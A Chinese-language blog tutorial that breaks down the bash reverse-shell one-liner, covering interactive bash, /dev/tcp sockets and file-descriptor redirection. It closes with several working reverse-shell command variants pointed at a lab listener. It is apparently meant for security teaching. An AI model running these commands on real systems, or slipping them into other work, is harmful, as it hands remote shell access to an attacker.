天天看點

反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并

作者:小剛

一位苦于資訊安全的萌新小白帽,記得關注給個贊,謝謝

本實驗僅用于資訊防禦教學,切勿用于其它用途

反彈shell解析

  • bash反彈shell解析
    • 測試環境
  • 拆分語句了解一下
    • 互動式
    • 連接配接裝置
    • 檔案描述符
    • 合并輸入輸出
  • 大合并

bash反彈shell解析

最基礎的反彈shell語句,這麼久隻會用,但不知道其中的奇妙之處

真是妙蛙種子被踢出了米奇妙妙屋。。。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
           

測試環境

nc監聽主機

IP:192.168.1.1

nc -lvvp 6666
           

進行反彈shell主機

IP:192.168.1.131

拆分語句了解一下

互動式

bash -i

是打開一個互動式的bash

馬老師什麼是互動式?有問,有答,訓練有素(也就是有輸入有輸出)

#查詢目前shell指令是哪一種
ls -l /bin/sh
           
反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并
#檢視是否是互動式
echo $- 
           
反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并

連接配接裝置

/dev/tcp/192.168.1.1/6666
           

是Linux中的一個特殊裝置,也算個檔案,打開這個就相當于對指定裝置發出了一個socket連接配接

使用tcp進行建立socket連接配接,然後可以讀寫這個socket連接配接中的資料。

同理tcp改為udp,就是udp連接配接。

檔案描述符

檔案描述符,是用來控制bash指令從哪輸入與輸出到哪的特殊符号

标準輸入(STDIN)  			代碼0 			
重定向标準輸入 				操作符<			預設輸入是鍵盤

标準輸出(STDOUT)				代碼1			
重定向标準輸出 				操作符>或者>>	預設輸出顯示器

标準錯誤輸出(STDERR)			代碼2		   
重定向錯誤标準輸出 			操作符2>或者2>>   預設輸出顯示器

重定向标準輸出和标準錯誤輸出 	操作符&> 		将标準輸出和錯誤輸出定向到指定位置
           
bash -i > /dev/tcp/192.168.1.1/6666
#标準輸出重定向為裝置,沒指定輸入,是以預設從鍵盤輸入指令,結果輸出到指定的裝置(攻擊機)
           
反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并
bash -i < /dev/tcp/192.168.1.1/6666
#标準輸如重定向為裝置,沒指定标準輸出,是以預設從螢幕輸出結果,從指定裝置(攻擊機)輸入指令
           
反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并
bash -i < /dev/tcp/192.168.1.1/6666 > /dev/tcp/192.168.1.1/8888
#由于重定向了标準輸如和輸出,是以從指定裝置(攻擊機)6666端口輸入指令,從指定裝置(攻擊機)8888端口輸出結果
           
反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并

代碼2的标準錯誤輸出又是啥?看下面倆語句:

bash -i > /dev/tcp/192.168.1.1/6666
bash -i 2> /dev/tcp/192.168.1.1/6666
           

第一個語句是标準輸出重定向到裝置,也就是指令語句成功執行,傳回的結果在指定裝置顯示

第二個語句是标準錯誤輸出重定向到裝置,是指令執行失敗,傳回的報錯顯示在指定裝置

第二句比方:輸入ifconfig,成功執行,不會将結果顯示在攻擊機;輸入ipconfig,執行失敗,将執行失敗傳回的報錯顯示在攻擊機。

合并輸入輸出

當然在使用的是,不管是正确錯誤,我們都想在指定裝置輸出,就可以使用合并

n>&m	将輸出檔案n重定向到m
n<&m	将輸入檔案n重定向到m
           

單獨

>&

這個意思是重定向标準輸出和标準錯誤輸出到指定裝置

2>&1

基本一樣,但略有不同

bash -i 2>&1 > /dev/tcp/192.168.1.1/6666
bash -i > /dev/tcp/192.168.1.1/6666	2>&1
           

注意上面兩個的差别:

1原本是螢幕,2也是螢幕,2定向到1還是螢幕,1然後定向到裝置,2不會跟着1定向是以還是螢幕。

1原本是螢幕,定向到裝置變成了裝置,2又定向到1,是以跟着就定向到裝置。

這點細微的差距有什麼差別呢?

第一個語句,如果當你輸入一條錯誤指令,會在被攻擊主機顯示報錯内容

反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并
第二個語句,不管你正确錯誤,都會顯示在指定裝置上
反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并

然後輸入與輸出合并

bash -i > /dev/tcp/192.168.1.1/6666	0>&1
bash -i > /dev/tcp/192.168.1.1/6666	0<&1
           

1定向到裝置,0是鍵盤,0定向到1,也就是定向到了裝置

就成了我們要的結果,指定裝置(攻擊機)進行輸入,指定裝置(攻擊機)進行輸出

反彈shell--bash一句話解析bash反彈shell解析拆分語句了解一下大合并

大合并

懂了原理,反彈語句就千變萬化了,隻要全定向到裝置就ok了。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 2>&1 0>&1
bash -i < /dev/tcp/192.168.1.1/6666 2>&0 1>&0
           

繼續閱讀